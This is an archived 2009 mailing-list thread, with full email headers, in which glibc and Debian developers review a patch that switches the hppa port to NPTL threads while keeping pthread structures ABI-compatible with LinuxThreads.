Approved: news@gmane.org
Message-ID: <119aab440908302201s35719b5fh3f7d7b1e870c445f@mail.gmail.com>
References: <Pine.LNX.4.62.0908181940440.7856@sci.felk.cvut.cz>
	 <119aab440908181851i174315c6lebacea921046bbb0@mail.gmail.com>
	 <20090819124816.GC2517@hall.aurel32.net>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
X-Trace: ger.gmane.org 1251694932 1956 80.91.229.12 (31 Aug 2009 05:02:12 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 31 Aug 2009 05:02:12 +0000 (UTC)
Cc: Petr Salinger <Petr.Salinger@seznam.cz>, debian-hppa@lists.debian.org, 
	debian-glibc@lists.debian.org, linux-parisc <linux-parisc@vger.kernel.org>
To: Aurelien Jarno <aurelien@aurel32.net>
Original-X-From: bounce-debian-hppa=debian-hppa=m.gmane.org@lists.debian.org Mon Aug 31 07:02:04 2009
Return-path: <bounce-debian-hppa=debian-hppa=m.gmane.org@lists.debian.org>
Envelope-to: debian-hppa@m.gmane.org
Original-Received: from liszt.debian.org ([82.195.75.100])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1Mhz1n-0001Gh-SH
	for debian-hppa@m.gmane.org; Mon, 31 Aug 2009 07:02:03 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by liszt.debian.org (Postfix) with QMQP
	id E188413A5388; Mon, 31 Aug 2009 05:02:02 +0000 (UTC)
Old-Return-Path: <patofiero@gmail.com>
X-Spam-Checker-Version: SpamAssassin 3.2.5 (2008-06-10) on liszt.debian.org
X-Spam-Level: 
X-Spam-Status: No, score=-4.2 required=4.0 tests=FOURLA,LDO_WHITELIST,
	MURPHY_DRUGS_REL8,SARE_MSGID_LONG40 autolearn=failed version=3.2.5
X-Original-To: lists-debian-hppa@liszt.debian.org
Delivered-To: lists-debian-hppa@liszt.debian.org
Original-Received: from localhost (localhost [127.0.0.1])
	by liszt.debian.org (Postfix) with ESMTP id C294613A49A8
	for <lists-debian-hppa@liszt.debian.org>; Mon, 31 Aug 2009 05:01:55 +0000 (UTC)
X-Virus-Scanned: at lists.debian.org with policy bank en-lt
X-Amavis-Spam-Status: No, score=-6.243 tagged_above=-10000 required=5.3
	tests=[BAYES_00=-2, FOURLA=0.1, LDO_WHITELIST=-5,
	MURPHY_DRUGS_REL8=0.02, SARE_MSGID_LONG40=0.637] autolearn=ham
Original-Received: from liszt.debian.org ([127.0.0.1])
	by localhost (lists.debian.org [127.0.0.1]) (amavisd-new, port 2525)
	with ESMTP id HauavloGpYZk for <lists-debian-hppa@liszt.debian.org>;
	Mon, 31 Aug 2009 05:01:48 +0000 (UTC)
X-policyd-weight: using cached result; rate: -6.9
Original-Received: from mail-ew0-f221.google.com (mail-ew0-f221.google.com [209.85.219.221])
	by liszt.debian.org (Postfix) with ESMTP id 50C9613A5204;
	Mon, 31 Aug 2009 05:01:42 +0000 (UTC)
Original-Received: by ewy21 with SMTP id 21so2958456ewy.19
        for <multiple recipients>; Sun, 30 Aug 2009 22:01:39 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=gamma;
        h=domainkey-signature:mime-version:sender:received:in-reply-to
         :references:date:x-google-sender-auth:message-id:subject:from:to:cc
         :content-type;
        bh=TWpHrYivC/wtBY3A0rMY4OeWyXO8zqWK6+7IyFR9+l8=;
        b=HU69lYr9B8g9Rfwpo72oFiZeVvcRAeX8nx0Sl4jASUgESq27N95/VoUzFAt3n+UkXJ
         1byLOWGR6aOFmUSpL6mdIIt1yBNgr4OppNSAWQ/MlbgW2AbKXbgYvFV2bUy9nJrpPgWD
         eDvA1z7TGqF5QC+TDRyIv2u6d+/vdkJ9K8ZHg=
DomainKey-Signature: a=rsa-sha1; c=nofws;
        d=gmail.com; s=gamma;
        h=mime-version:sender:in-reply-to:references:date
         :x-google-sender-auth:message-id:subject:from:to:cc:content-type;
        b=gcb+pd/0ywCBfBk/I+Q5Ni97/ZqUwSsURP1hJq8xx2hK/CdvvoMQ0g26QdTMxqpBKo
         z6DytjXafPFgrF+q8tFHbyTCjhBh7w3XvaKjpBC4OiFyv/7sVWj2Jo6FY/RShzi1MF8+
         YNBberrQvkoYAK0p4/c1udlbXPGSRAHnjUXAE=
Original-Sender: patofiero@gmail.com
Original-Received: by 10.216.2.210 with SMTP id 60mr1041981wef.21.1251694899540; Sun, 
	30 Aug 2009 22:01:39 -0700 (PDT)
In-Reply-To: <20090819124816.GC2517@hall.aurel32.net>
X-Google-Sender-Auth: eb7f4db784dd110a
X-Rc-Virus: 2007-09-13_01
X-Rc-Spam: 2008-11-04_01
Resent-Message-ID: <DoTxQcqJZwI.A.DZH.Kl1mKB@liszt>
Resent-From: debian-hppa@lists.debian.org
X-Mailing-List: <debian-hppa@lists.debian.org> archive/latest/6972
X-Loop: debian-hppa@lists.debian.org
List-Id: <debian-hppa.lists.debian.org>
List-Post: <mailto:debian-hppa@lists.debian.org>
List-Help: <mailto:debian-hppa-request@lists.debian.org?subject=help>
List-Subscribe: <mailto:debian-hppa-request@lists.debian.org?subject=subscribe>
List-Unsubscribe: <mailto:debian-hppa-request@lists.debian.org?subject=unsubscribe>
Precedence: list
Resent-Sender: debian-hppa-request@lists.debian.org
Resent-Date: Mon, 31 Aug 2009 05:02:02 +0000 (UTC)
Xref: news.gmane.org gmane.linux.debian.ports.hppa:5975 gmane.linux.debian.devel.glibc:30211 gmane.linux.ports.parisc:2088
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2088>

On Wed, Aug 19, 2009 at 8:48 AM, Aurelien Jarno<aurelien@aurel32.net> wrote:
> [Changing debian-bsd to debian-glibc, probably more appropriate to
> discuss about the internal glibc code ;-)]
>> > may I ask you for status of hppa nptl switch ?

Petr, Aurelian,

I spent the last two days rewriting the pthread structure layouts for
hppa's nptl implementation.

Thanks to Petr's insight, I was able to restructure both
pthread_mutex_t, and pthread_rwlock_t to be 100% ABI compatible with
Linuxthreads.

In the case of pthread_cond_t, the structure grew so much, that I had
to use some of the old lock words (non-zero initialized words) for new
fields, and this meant that all of the pthread_cond_* functions will
quickly test and zero pthread_cond_t before use. The new NPTL
PTHREAD_COND_INITIALIZER uses the fast-path in the code, thus as
applications are rebuilt they will run faster.

The prototype patch in testing is here:
http://www.parisc-linux.org/~carlos/2009-08-31-glibc-ports-hppa-nptl.diff

This patch is not the final version, I need to remove the
old_pthread_cond_* functions, and cleanup the pthread_cond_* functions
to use the same version number. At the end of the day I'm not going to
version any of the functions, because technically they will be ABI
compatible. I will however, surround the checking code with some
version checks so it can be removed in the future (or generate a
warning).

Please note that the new code *will* support partial upgrades for
debian, since this is a 100% ABI compatible change.

I will report back over the next few days on the status of testing the
new patch.

Cheers,
Carlos.



From - Thu Nov 08 21:04:49 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Petr Salinger <Petr.Salinger@seznam.cz>
Newsgroups: gmane.linux.debian.ports.hppa,gmane.linux.debian.devel.glibc,gmane.linux.ports.parisc
Subject: Re: hppa nptl switch
Date: Mon, 31 Aug 2009 10:16:44 +0200 (CEST)
Lines: 39
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.62.0908310926590.9856@sci.felk.cvut.cz>
References: <Pine.LNX.4.62.0908181940440.7856@sci.felk.cvut.cz> 
 <119aab440908181851i174315c6lebacea921046bbb0@mail.gmail.com> 
 <20090819124816.GC2517@hall.aurel32.net> <119aab440908302201s35719b5fh3f7d7b1e870c445f@mail.gmail.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed
X-Trace: ger.gmane.org 1251705797 26509 80.91.229.12 (31 Aug 2009 08:03:17 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 31 Aug 2009 08:03:17 +0000 (UTC)
Cc: debian-hppa@lists.debian.org, debian-glibc@lists.debian.org,
        linux-parisc <linux-parisc@vger.kernel.org>
To: "Carlos O'Donell" <carlos@systemhalted.org>
Original-X-From: bounce-debian-hppa=debian-hppa=m.gmane.org@lists.debian.org Mon Aug 31 10:03:09 2009
Return-path: <bounce-debian-hppa=debian-hppa=m.gmane.org@lists.debian.org>
Envelope-to: debian-hppa@m.gmane.org
Original-Received: from liszt.debian.org ([82.195.75.100])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1Mi1r3-0005du-0Y
	for debian-hppa@m.gmane.org; Mon, 31 Aug 2009 10:03:09 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by liszt.debian.org (Postfix) with QMQP
	id 9915113A6258; Mon, 31 Aug 2009 08:03:08 +0000 (UTC)
Old-Return-Path: <Petr.Salinger@seznam.cz>
X-Spam-Checker-Version: SpamAssassin 3.2.5 (2008-06-10) on liszt.debian.org
X-Spam-Level: 
X-Spam-Status: No, score=0.4 required=4.0 tests=FOURLA,MURPHY_DRUGS_REL8,
	SARE_FREE_WEBM_CZSEZNA autolearn=no version=3.2.5
X-Original-To: lists-debian-hppa@liszt.debian.org
Delivered-To: lists-debian-hppa@liszt.debian.org
Original-Received: from localhost (localhost [127.0.0.1])
	by liszt.debian.org (Postfix) with ESMTP id EE20613A618D
	for <lists-debian-hppa@liszt.debian.org>; Mon, 31 Aug 2009 07:47:38 +0000 (UTC)
X-Virus-Scanned: at lists.debian.org with policy bank en-lt
X-Amavis-Spam-Status: No, score=-1.632 tagged_above=-10000 required=5.3
	tests=[BAYES_00=-2, FOURLA=0.1, MURPHY_DRUGS_REL8=0.02,
	SARE_FREE_WEBM_CZSEZNA=0.248] autolearn=no
Original-Received: from liszt.debian.org ([127.0.0.1])
	by localhost (lists.debian.org [127.0.0.1]) (amavisd-new, port 2525)
	with ESMTP id JUDv6jTkrbKG for <lists-debian-hppa@liszt.debian.org>;
	Mon, 31 Aug 2009 07:47:31 +0000 (UTC)
X-policyd-weight: using cached result; rate: -2.9
Original-Received: from relay.felk.cvut.cz (relay.felk.cvut.cz [147.32.80.7])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(Client did not present a certificate)
	by liszt.debian.org (Postfix) with ESMTPS id AF69213A616D
	for <debian-hppa@lists.debian.org>; Mon, 31 Aug 2009 07:47:31 +0000 (UTC)
Original-Received: from sci.felk.cvut.cz (sci.felk.cvut.cz [147.32.83.100])
	by relay.felk.cvut.cz (8.14.3/8.14.3) with ESMTP id n7V7lGku040289;
	Mon, 31 Aug 2009 09:47:16 +0200 (CEST)
	(envelope-from Petr.Salinger@seznam.cz)
X-X-Sender: salinger@sci.felk.cvut.cz
In-Reply-To: <119aab440908302201s35719b5fh3f7d7b1e870c445f@mail.gmail.com>
X-FELK-MailScanner-Information: 
X-MailScanner-ID: n7V7lGku040289
X-FELK-MailScanner: Found to be clean
X-FELK-MailScanner-SpamCheck: not spam, SpamAssassin (not cached,
	score=-1.913, required 5, BAYES_00 -2.60, SPF_NEUTRAL 0.69)
X-FELK-MailScanner-From: petr.salinger@seznam.cz
X-FELK-MailScanner-To: carlos@systemhalted.org,
	debian-glibc@lists.debian.org, debian-hppa@lists.debian.org,
	linux-parisc@vger.kernel.org
X-FELK-MailScanner-Watermark: 1252309640.65506@QsLyakzmWHKajoo8F419UA
X-Rc-Spam: 2008-11-04_01
X-Rc-Virus: 2007-09-13_01
X-Rc-Spam: 2008-11-04_01
Resent-Message-ID: <gHmLP6o1C9H.A.emF.8O4mKB@liszt>
Resent-From: debian-hppa@lists.debian.org
X-Mailing-List: <debian-hppa@lists.debian.org> archive/latest/6973
X-Loop: debian-hppa@lists.debian.org
List-Id: <debian-hppa.lists.debian.org>
List-Post: <mailto:debian-hppa@lists.debian.org>
List-Help: <mailto:debian-hppa-request@lists.debian.org?subject=help>
List-Subscribe: <mailto:debian-hppa-request@lists.debian.org?subject=subscribe>
List-Unsubscribe: <mailto:debian-hppa-request@lists.debian.org?subject=unsubscribe>
Precedence: list
Resent-Sender: debian-hppa-request@lists.debian.org
Resent-Date: Mon, 31 Aug 2009 08:03:08 +0000 (UTC)
Xref: news.gmane.org gmane.linux.debian.ports.hppa:5976 gmane.linux.debian.devel.glibc:30214 gmane.linux.ports.parisc:2089
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2089>

Hi.

> I spent the last two days rewriting the pthread structure layouts for
> hppa's nptl implementation.

It looks very nice and promising now, thanks.

> I was able to restructure both pthread_mutex_t, and pthread_rwlock_t to 
> be 100% ABI compatible with Linuxthreads.

Strictly speaking, currently they are not,
they are only 100% backward compatible.
But only step away, they could be 100% compatible.
Just the new NPTL initializers should initilize
the four ones as previously in LT.
In practice it shouldn't be problem at all.
Debian should make sure that binary/library compiled
against NPTL-hppa-glibc will require NPTL-hppa-glibc
by proper Depends: line like "libc6 (>= 2.10)".

> The prototype patch in testing is here:
> http://www.parisc-linux.org/~carlos/2009-08-31-glibc-ports-hppa-nptl.diff

It is not possible to use "#include_next <pthread.h>" in
sysdeps/unix/sysv/linux/hppa/nptl/pthread.h, as this file
is installed in libc6-dev for general use.
The proper way would be to convince Mr. Drepper to split
<pthread.h> into <pthread.h> and <bits/pthreadinit.h>.
Good luck with it.

The pthread_cond_init.c should call cond_compat_clear()
instead of cond_compat_check_and_clear() or may be just
"cond->__data.__initializer = 0"

Thanks for all your work.

Petr



From - Thu Nov 08 21:04:49 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Carlos O'Donell" <carlos@systemhalted.org>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.debian.ports.hppa,gmane.linux.debian.devel.glibc
Subject: Re: hppa nptl switch
Date: Mon, 31 Aug 2009 11:10:44 -0400
Lines: 60
Approved: news@gmane.org
Message-ID: <119aab440908310810g6fa7e3d8s71f1f4bea0041f1@mail.gmail.com>
References: <Pine.LNX.4.62.0908181940440.7856@sci.felk.cvut.cz>
	 <119aab440908181851i174315c6lebacea921046bbb0@mail.gmail.com>
	 <20090819124816.GC2517@hall.aurel32.net>
	 <119aab440908302201s35719b5fh3f7d7b1e870c445f@mail.gmail.com>
	 <Pine.LNX.4.62.0908310926590.9856@sci.felk.cvut.cz>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
X-Trace: ger.gmane.org 1251731458 9788 80.91.229.12 (31 Aug 2009 15:10:58 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 31 Aug 2009 15:10:58 +0000 (UTC)
Cc: debian-hppa@lists.debian.org, debian-glibc@lists.debian.org,
	linux-parisc <linux-parisc@vger.kernel.org>
To: Petr Salinger <Petr.Salinger@seznam.cz>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Aug 31 17:10:50 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1Mi8Wv-0004St-QO
	for glpp-linux-parisc@lo.gmane.org; Mon, 31 Aug 2009 17:10:50 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751743AbZHaPKq (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 31 Aug 2009 11:10:46 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1751644AbZHaPKq
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Mon, 31 Aug 2009 11:10:46 -0400
Original-Received: from mail-ew0-f206.google.com ([209.85.219.206]:61733 "EHLO
	mail-ew0-f206.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751408AbZHaPKp (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 31 Aug 2009 11:10:45 -0400
Original-Received: by ewy2 with SMTP id 2so409442ewy.17
        for <linux-parisc@vger.kernel.org>; Mon, 31 Aug 2009 08:10:45 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=gamma;
        h=domainkey-signature:mime-version:sender:received:in-reply-to
         :references:date:x-google-sender-auth:message-id:subject:from:to:cc
         :content-type;
        bh=HoHkht93sQY5QeyLqXxUavOAtNmVHTrNlfJcgrA41/g=;
        b=XTC1UYG2e+7PQVbc76zvL8DKuZpihxaF2hWCyTpnOcS/J1GkW7q09tY45KUzdL4sZZ
         6rMpbWdYMg/hROKspO/5F5DvPFKFZzGb3ggbdS4HH8qKHHT18ESFx+3ZHd9t9TcgpqR2
         QpUgdfk+6qzjaQbxcBVgqTwGtBGiPwGBKI6zU=
DomainKey-Signature: a=rsa-sha1; c=nofws;
        d=gmail.com; s=gamma;
        h=mime-version:sender:in-reply-to:references:date
         :x-google-sender-auth:message-id:subject:from:to:cc:content-type;
        b=XZGiDKHTNguxRYxnvHwiMc6fI7s8Gpx5EB/kam6SRGVgnWYj46Jn2AkVZg6sG4VeRD
         E6352x2fzg37Uv3OHeMineG/5lhE/+A0e4MRaplcKHMhNweiafSIx8rXHLXNVHVQbHQn
         vgsz/clvH311mA6wfHll4BxkAD2AAUf7YDryY=
Original-Received: by 10.216.86.73 with SMTP id v51mr1170991wee.89.1251731444671; Mon, 
	31 Aug 2009 08:10:44 -0700 (PDT)
In-Reply-To: <Pine.LNX.4.62.0908310926590.9856@sci.felk.cvut.cz>
X-Google-Sender-Auth: 232b1e0498e08d0d
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2090 gmane.linux.debian.ports.hppa:5977 gmane.linux.debian.devel.glibc:30218
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2090>

On Mon, Aug 31, 2009 at 4:16 AM, Petr Salinger<Petr.Salinger@seznam.cz> wrote:
> Hi.
>
>> I spent the last two days rewriting the pthread structure layouts for
>> hppa's nptl implementation.
>
> It looks very nice and promising now, thanks.
>
>> I was able to restructure both pthread_mutex_t, and pthread_rwlock_t to be
>> 100% ABI compatible with Linuxthreads.
>
> Strictly speaking, currently they are not,
> they are only 100% backward compatible.
> But only step away, they could be 100% compatible.
> Just the new NPTL initializers should initilize
> the four ones as previously in LT.

Yes, my intent was to do exactly that, I had not yet fixed pthread.h
to set the old lock words to all one. I have done exactly this in the
most recent version of my patch. The pthread_mutex_t and
pthread_rwlock_t are now 100% ABI compatible with Linuxthreads.

> In practice it shouldn't be problem at all.
> Debian should make sure that binary/library compiled
> against NPTL-hppa-glibc will require NPTL-hppa-glibc
> by proper Depends: line like "libc6 (>= 2.10)".

Does every package have to do this? I'm not very familiar with all the
packaging requirements.

>> The prototype patch in testing is here:
>> http://www.parisc-linux.org/~carlos/2009-08-31-glibc-ports-hppa-nptl.diff

Second version here:
http://www.parisc-linux.org/~carlos/2009-08-31-glibc-ports-hppa-nptl-v2.diff

The next version is currently testing. It still does not include code
to remove cond_*_clear calls when the ABI level is raised to 2.10.

> It is not possible to use "#include_next <pthread.h>" in
> sysdeps/unix/sysv/linux/hppa/nptl/pthread.h, as this file
> is installed in libc6-dev for general use.

Fixed.

> The pthread_cond_init.c should call cond_compat_clear()
> instead of cond_compat_check_and_clear() or may be just
> "cond->__data.__initializer = 0"

Fixed.

Thanks for the review.

Cheers,
Carlos.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:49 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Frans Pop <elendil@planet.nl>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.debian.ports.hppa,gmane.linux.debian.devel.glibc
Subject: Re: hppa nptl switch
Date: Mon, 31 Aug 2009 18:46:48 +0200
Lines: 26
Approved: news@gmane.org
Message-ID: <200908311846.49969.elendil@planet.nl>
References: <Pine.LNX.4.62.0908181940440.7856@sci.felk.cvut.cz> <119aab440908181851i174315c6lebacea921046bbb0@mail.gmail.com> <20090819124816.GC2517@hall.aurel32.net> <119aab440908302201s35719b5fh3f7d7b1e870c445f@mail.gmail.com> <Pine.LNX.4.62.0908310926590.9856@sci.felk.cvut.cz> <Pine.LNX.4.62.0908310926590.9856@sci.felk.cvut.cz> <119aab440908310810g6fa7e3d8s71f1f4bea0041f1@mail.gmail.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1251737221 29710 80.91.229.12 (31 Aug 2009 16:47:01 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 31 Aug 2009 16:47:01 +0000 (UTC)
Cc: debian-glibc@lists.debian.org,
	linux-parisc <linux-parisc@vger.kernel.org>
To: debian-hppa@lists.debian.org
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Aug 31 18:46:54 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1MiA1t-0003bJ-RH
	for glpp-linux-parisc@lo.gmane.org; Mon, 31 Aug 2009 18:46:54 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751999AbZHaQqt (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 31 Aug 2009 12:46:49 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1752924AbZHaQqt
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Mon, 31 Aug 2009 12:46:49 -0400
Original-Received: from cpsmtpm-eml103.kpnxchange.com ([195.121.3.7]:54724 "EHLO
	CPSMTPM-EML103.kpnxchange.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1751999AbZHaQqt (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 31 Aug 2009 12:46:49 -0400
Original-Received: from aragorn.fjphome.nl ([77.166.180.99]) by CPSMTPM-EML103.kpnxchange.com with Microsoft SMTPSVC(7.0.6001.18000);
	 Mon, 31 Aug 2009 18:46:50 +0200
User-Agent: KMail/1.9.9
In-reply-To: <119aab440908310810g6fa7e3d8s71f1f4bea0041f1@mail.gmail.com>
Content-Disposition: inline
X-OriginalArrivalTime: 31 Aug 2009 16:46:51.0038 (UTC) FILETIME=[A3679BE0:01CA2A5A]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2091 gmane.linux.debian.ports.hppa:5978 gmane.linux.debian.devel.glibc:30225
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2091>

Carlos O'Donell wrote:
>> In practice it shouldn't be problem at all.
>> Debian should make sure that binary/library compiled
>> against NPTL-hppa-glibc will require NPTL-hppa-glibc
>> by proper Depends: line like "libc6 (>= 2.10)".
> 
> Does every package have to do this? I'm not very familiar with all the
> packaging requirements.

It is something that should automatically get done correctly as long as 
the libc-dev package defines the minimum version that way.

The mechanism that determines this is in /var/lib/dpkg/info/libc6.shlibs. 
Currently this has lines like:
   libc 6 libc6 (>= 2.9)

It's virtually certain that the shlibs file will be updated to read
'(>= 2.10)' when the glibc maintainers switch to that version.

Cheers,
FJP
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:50 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Carlos O'Donell" <carlos@systemhalted.org>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.debian.ports.hppa,gmane.linux.debian.devel.glibc
Subject: Re: hppa nptl switch
Date: Mon, 31 Aug 2009 12:53:26 -0400
Lines: 33
Approved: news@gmane.org
Message-ID: <119aab440908310953g1b15f071we6bed160772caad6@mail.gmail.com>
References: <Pine.LNX.4.62.0908181940440.7856@sci.felk.cvut.cz>
	 <119aab440908181851i174315c6lebacea921046bbb0@mail.gmail.com>
	 <20090819124816.GC2517@hall.aurel32.net>
	 <119aab440908302201s35719b5fh3f7d7b1e870c445f@mail.gmail.com>
	 <Pine.LNX.4.62.0908310926590.9856@sci.felk.cvut.cz>
	 <119aab440908310810g6fa7e3d8s71f1f4bea0041f1@mail.gmail.com>
	 <200908311846.49969.elendil@planet.nl>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: ger.gmane.org 1251737619 31030 80.91.229.12 (31 Aug 2009 16:53:39 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 31 Aug 2009 16:53:39 +0000 (UTC)
Cc: debian-hppa@lists.debian.org, debian-glibc@lists.debian.org,
	linux-parisc <linux-parisc@vger.kernel.org>
To: Frans Pop <elendil@planet.nl>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Aug 31 18:53:32 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1MiA8H-0005TI-Ma
	for glpp-linux-parisc@lo.gmane.org; Mon, 31 Aug 2009 18:53:30 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751773AbZHaQx0 convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 31 Aug 2009 12:53:26 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1752321AbZHaQx0
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Mon, 31 Aug 2009 12:53:26 -0400
Original-Received: from mail-ew0-f206.google.com ([209.85.219.206]:46227 "EHLO
	mail-ew0-f206.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751773AbZHaQxZ convert rfc822-to-8bit (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 31 Aug 2009 12:53:25 -0400
Original-Received: by ewy2 with SMTP id 2so511540ewy.17
        for <linux-parisc@vger.kernel.org>; Mon, 31 Aug 2009 09:53:26 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=gamma;
        h=domainkey-signature:mime-version:sender:received:in-reply-to
         :references:date:x-google-sender-auth:message-id:subject:from:to:cc
         :content-type:content-transfer-encoding;
        bh=sF/zFId2S2sqnSIwLNT89GcBVqJY8EYccOsuXgtSKhA=;
        b=pb7ckJR9Ja4c5hPidjQbVIZVoiRDFhuk1AYxrBSfZ8O878drBHKNmgLgfvWuZbYpsY
         qIu12DcsEmpkySAT1Vi0ZGA2DKXshbkcz5xWG95vy4o24yoRE58pgyIo2gqtmISH6WbE
         3RHoVaP2DNzEKpO7udgg53qF43jzvKC4nz+aw=
DomainKey-Signature: a=rsa-sha1; c=nofws;
        d=gmail.com; s=gamma;
        h=mime-version:sender:in-reply-to:references:date
         :x-google-sender-auth:message-id:subject:from:to:cc:content-type
         :content-transfer-encoding;
        b=ddghOu0kuNNmdIs5nZqlh9n25Rac1eVcJ+svTEkwN7pRqmJSlbsR9q9txxSZTEa3T4
         oQyX5h3Uf4dZ9zdBVlwhnzL9C5dycWMRhJ5bLD+TY2g2FGm+v0ZOLIyBntp9I3hw3nlS
         rzcaHEYfePxOwCAI3Ihk1JNZOV41iNWXIGQj4=
Original-Received: by 10.216.12.198 with SMTP id 48mr1191377wez.223.1251737606517; Mon, 
	31 Aug 2009 09:53:26 -0700 (PDT)
In-Reply-To: <200908311846.49969.elendil@planet.nl>
X-Google-Sender-Auth: d024b900845c1e77
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2092 gmane.linux.debian.ports.hppa:5979 gmane.linux.debian.devel.glibc:30226
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2092>

On Mon, Aug 31, 2009 at 12:46 PM, Frans Pop<elendil@planet.nl> wrote:
> Carlos O'Donell wrote:
>>> In practice it shouldn't be problem at all.
>>> Debian should make sure that binary/library compiled
>>> against NPTL-hppa-glibc will require NPTL-hppa-glibc
>>> by proper Depends: line like "libc6 (>=3D 2.10)".
>>
>> Does every package have to do this? I'm not very familiar with all t=
he
>> packaging requirements.
>
> It is something that should automatically get done correctly as long =
as
> the libc-dev package defines the minimum version that way.
>
> The mechanism that determines this is in /var/lib/dpkg/info/libc6.shl=
ibs.
> Currently this has lines like:
> =A0 libc 6 libc6 (>=3D 2.9)
>
> It's virtually certain that the shlibs file will be updated to read
> '(>=3D 2.10)' when the glibc maintainers switch to that version.

Thanks Frans. This is what I expected.

Cheers,
Carlos.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc"=
 in
the body of a message to majordomo@vger.kernel.org
